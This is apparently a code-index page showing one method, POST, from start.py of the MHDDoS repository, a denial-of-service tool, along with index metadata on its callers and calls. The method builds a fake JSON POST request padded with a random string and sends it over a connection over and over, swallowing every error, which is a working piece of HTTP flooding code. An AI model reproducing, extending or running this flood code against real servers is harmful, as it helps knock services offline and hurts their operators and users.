MCPcopy Index your code
hub / github.com/MatrixTM/MHDDoS / POST

Method POST

start.py:968–978  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

966 else "REQUESTS"
967
968 def POST(self) -> None:
969 payload: bytes = self.generate_payload(
970 ("Content-Length: 44\r\n"
971 "X-Requested-With: XMLHttpRequest\r\n"
972 "Content-Type: application/json\r\n\r\n"
973 '{"data": %s}') % ProxyTools.Random.rand_str(32))[:-2]
974 s = None
975 with suppress(Exception), self.open_connection() as s:
976 for _ in range(self._rpc):
977 Tools.send(s, payload)
978 Tools.safe_close(s)
979
980 def TOR(self) -> None:
981 provider = "." + randchoice(tor2webs)

Callers

nothing calls this directly

Calls 4

generate_payloadMethod · 0.95
open_connectionMethod · 0.95
sendMethod · 0.80
safe_closeMethod · 0.80

Tested by

no test coverage detected